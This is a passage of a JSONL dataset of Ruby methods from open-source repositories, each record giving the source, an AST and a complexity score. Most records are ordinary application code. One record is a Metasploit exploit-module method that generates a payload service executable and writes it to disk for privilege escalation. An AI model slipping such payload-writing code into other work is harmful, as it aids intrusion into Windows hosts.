{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/x509/signature.rb","start_line":31,"raw_source":"def signed_by_user\n        strong_memoize(:signed_by_user) { User.find_by_any_email(@email) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"signed_by_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"signed_by_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_any_email\",{\"type\":\"ivar\",\"children\":[\"@email\"]}]}]}]}","id":"106d25b0-6644-49f4-9e62-8f77a29f3e57"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host_initiator.rb","start_line":71,"raw_source":"def delete_host_initiator_queue(userid)\n    task_opts = {\n      :action => \"deleting host initiator for user #{userid}\",\n      :userid => userid\n    }\n    queue_opts = {\n      :class_name  => self.class.name,\n      :method_name => 'delete_host_initiator',\n      :instance_id => id,\n      :role        => 'ems_operations',\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :zone        => ext_management_system.my_zone,\n      :args        => []\n    }\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_host_initiator_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"deleting host initiator for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"delete_host_initiator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"2225d5a7-f57d-4e52-9f01-b8046ba910af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":356,"raw_source":"def recent_objects_size\n        wrapped_gitaly_errors do\n          recent_size_in_bytes = gitaly_repository_client.repository_info.objects.recent_size\n\n          Gitlab::Utils.bytes_to_megabytes(recent_size_in_bytes)\n        end\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"recent_objects_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recent_size_in_bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_repository_client\"]},\"repository_info\"]},\"objects\"]},\"recent_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"bytes_to_megabytes\",{\"type\":\"lvar\",\"children\":[\"recent_size_in_bytes\"]}]}]}]}]}","id":"1612eff1-974a-4830-95d5-e6138f9455fd"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/config/initializers/custom_pagination_links.rb","start_line":6,"raw_source":"def as_json\n    per_page = collection.try(:per_page) || collection.try(:limit_value) || collection.size\n    pagination_links = pages_from.each_with_object({}) do |(key, value), hash|\n      # Use the non nested syntax for pagination params\n      params = query_parameters.merge(page: value, per_page: per_page).to_query\n      # Changed this to set the value to nil when no value is specified by pages_from\n      hash[key] = value.present? ? \"#{url(adapter_options)}?#{params}\" : nil\n    end\n    # Always include self, regardless of pagination links existing or not.\n    { self: \"#{url(adapter_options)}?#{query_parameters.to_query}\" }.merge(pagination_links)\n  end","complexity_score":36.2,"ast_json":"{\"type\":\"def\",\"children\":[\"as_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"try\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"try\",{\"type\":\"sym\",\"children\":[\"limit_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pagination_links\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_from\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_parameters\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]},\"to_query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[null,\"adapter_options\"]}]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"self\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[null,\"adapter_options\"]}]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_parameters\"]},\"to_query\"]}]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"pagination_links\"]}]}]}]}","id":"5b10f36e-06d3-476e-a09a-689cff92d76f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails8.rb","start_line":133,"raw_source":"def test_sql_injection_permit_or_false_positive\n    assert_no_warning check_name: \"SQL\",\n      type: :warning,\n      warning_code: 0,\n      fingerprint: \"ad3963321ca8cbee045dce7efd357265432d14700f6cfb791b22da0395ad4fb9\",\n      warning_type: \"SQL Injection\",\n      line: 74,\n      message: /^Possible\\ SQL\\ injection/,\n      confidence: 0,\n      relative_path: \"app/controllers/users_controller.rb\",\n      code: s(:call, s(:const, :Thing), :find_by, s(:or, s(:call, s(:params), :permit, s(:lit, :foo_uid)), s(:hash, s(:lit, :id), s(:call, s(:params), :require, s(:lit, :model_id))))),\n      user_input: s(:call, s(:params), :permit, s(:lit, :foo_uid))\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_permit_or_false_positive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_name\"]},{\"type\":\"str\",\"children\":[\"SQL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"ad3963321ca8cbee045dce7efd357265432d14700f6cfb791b22da0395ad4fb9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[74]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Thing\"]}]},{\"type\":\"sym\",\"children\":[\"find_by\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"or\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"permit\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"foo_uid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"require\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"model_id\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"permit\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"foo_uid\"]}]}]}]}]}]}]}","id":"e80cfc9f-a69a-4861-aede-e57a7517bbe9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/search_service.rb","start_line":52,"raw_source":"def too_many_wildcards?\n        query.count(WILDCARD) > MAX_WILDCARD_COUNT\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"too_many_wildcards?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"count\",{\"type\":\"const\",\"children\":[null,\"WILDCARD\"]}]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_WILDCARD_COUNT\"]}]}]}","id":"d5aa928c-fa27-430d-a410-883ff7926952"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/service_permissions.rb","start_line":248,"raw_source":"def write_exe(path, service_name = nil)\n    vprint_status(\"[#{service_name}] Writing service executable to #{path}\")\n    exe = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })\n    write_file(path, exe)\n    register_files_for_cleanup(path)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_exe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"service_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_name\"]}]},{\"type\":\"str\",\"children\":[\"] Writing service executable to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"servicename\"]},{\"type\":\"lvar\",\"children\":[\"service_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[null,\"payload_arch\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"b12db2e9-ac3e-4877-bd98-0598bef089ff"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/uniqueness_validation_test.rb","start_line":184,"raw_source":"def test_validate_uniqueness_with_aliases\n    Reply.validates_uniqueness_of(:new_content, scope: :new_parent_id)\n\n    t = Topic.create(title: \"I'm unique!\")\n\n    r1 = t.replies.create(title: \"r1\", content: \"hello world\")\n    assert_predicate r1, :valid?, \"Saving r1\"\n\n    r2 = t.replies.create(title: \"r2\", content: \"hello world\")\n    assert_not_predicate r2, :valid?, \"Saving r2 first time\"\n\n    r2.content = \"something else\"\n    assert r2.save, \"Saving r2 second time\"\n\n    t2 = Topic.create(\"title\" => \"I'm unique too!\")\n    r3 = t2.replies.create(title: \"r3\", content: \"hello world\")\n    assert_predicate r3, :valid?, \"Saving r3\"\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validate_uniqueness_with_aliases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"validates_uniqueness_of\",{\"type\":\"sym\",\"children\":[\"new_content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"new_parent_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"I'm unique!\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"replies\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"r1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"hello world\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"r1\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]},{\"type\":\"str\",\"children\":[\"Saving r1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"replies\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"r2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"hello world\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"r2\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]},{\"type\":\"str\",\"children\":[\"Saving r2 first time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r2\"]},\"content=\",{\"type\":\"str\",\"children\":[\"something else\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r2\"]},\"save\"]},{\"type\":\"str\",\"children\":[\"Saving r2 second time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"I'm unique too!\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r3\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t2\"]},\"replies\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"r3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"hello world\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"r3\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]},{\"type\":\"str\",\"children\":[\"Saving r3\"]}]}]}]}","id":"648afbf0-9630-409f-a956-be758355c37f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb","start_line":72,"raw_source":"def new_local_cache\n          LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_local_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalCacheRegistry\"]},\"set_cache_for\",{\"type\":\"send\",\"children\":[null,\"local_cache_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalStore\"]},\"new\"]}]}]}","id":"3368a948-79f7-49f9-80e0-61d3f1cd8d5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/rspec.rb","start_line":42,"raw_source":"def describe_run(*args, passed: true, &describe_body)\n          example_group = ::RSpec.describe(*args, &describe_body)\n          ran_successfully = example_group.run reporter\n          expect(ran_successfully).to eq passed\n          example_group\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"describe_run\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwoptarg\",\"children\":[\"passed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"describe_body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"example_group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RSpec\"]},\"describe\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"describe_body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ran_successfully\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group\"]},\"run\",{\"type\":\"send\",\"children\":[null,\"reporter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"ran_successfully\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"passed\"]}]}]},{\"type\":\"lvar\",\"children\":[\"example_group\"]}]}]}","id":"1d7d0e86-b288-44db-9e73-8346a994b034"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_logging/pause_control_logger.rb","start_line":9,"raw_source":"def paused_log(job, strategy:)\n        payload = parse_job(job)\n        payload['job_status'] = 'paused'\n        payload['message'] = \"#{base_message(payload)}: paused: #{strategy}\"\n        payload['pause_control.strategy'] = strategy\n\n        Sidekiq.logger.info payload\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paused_log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"kwarg\",\"children\":[\"strategy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"parse_job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"job_status\"]},{\"type\":\"str\",\"children\":[\"paused\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_message\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"str\",\"children\":[\": paused: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"pause_control.strategy\"]},{\"type\":\"lvar\",\"children\":[\"strategy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"6e826c08-22ed-4832-abf0-3e398e288ef5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/remote_theme_serializer.rb","start_line":28,"raw_source":"def license_url\n    object.license_url if UrlHelper.is_valid_url?(object.license_url)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"license_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"is_valid_url?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"license_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"license_url\"]},null]}]}","id":"9bf95a1c-9dcc-4771-8374-017e8113ec85"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/projects/queries_controller.rb","start_line":158,"raw_source":"def find_query\n    @query = ProjectQuery.visible(current_user).find(params[:id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectQuery\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"fa794722-a8c6-4647-8147-89b3d32a84ed"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/hooks.rb","start_line":605,"raw_source":"def known_scope?(scope)\n          SCOPES.include?(scope) || SCOPE_ALIASES.keys.include?(scope)\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"known_scope?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCOPES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCOPE_ALIASES\"]},\"keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"1f4b46c1-9b4f-4045-a96e-501cc33a0670"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250701233451_create_p_duo_workflows_checkpoints.rb","start_line":15,"raw_source":"def up\n    create_table :p_duo_workflows_checkpoints, **OPTIONS do |t| # rubocop:disable Migration/EnsureFactoryForTable -- see ee/spec/factories/ai/duo_workflows/workflow_checkpoints.rb\n      t.bigserial :id, null: false\n      t.bigint :workflow_id, null: false\n      t.bigint :project_id, index: true\n      t.timestamps_with_timezone null: false\n      t.bigint :namespace_id, index: true\n      t.text :thread_ts, null: false, limit: 255\n      t.text :parent_ts, null: true, limit: 255\n      t.jsonb :checkpoint, null: false\n      t.jsonb :metadata, null: false\n\n      t.index [:workflow_id, :thread_ts],\n        name: 'index_p_duo_workflows_checkpoints_thread'\n    end\n\n    add_multi_column_not_null_constraint(:p_duo_workflows_checkpoints, :project_id, :namespace_id)\n\n    add_concurrent_partitioned_foreign_key :p_duo_workflows_checkpoints, :namespaces, validate: true,\n      column: :namespace_id, on_delete: :cascade\n    add_concurrent_partitioned_foreign_key :p_duo_workflows_checkpoints, :projects, validate: true,\n      column: :project_id, on_delete: :cascade\n    add_concurrent_partitioned_foreign_key :p_duo_workflows_checkpoints, :duo_workflows_workflows, validate: true,\n      column: :workflow_id, on_delete: :cascade\n  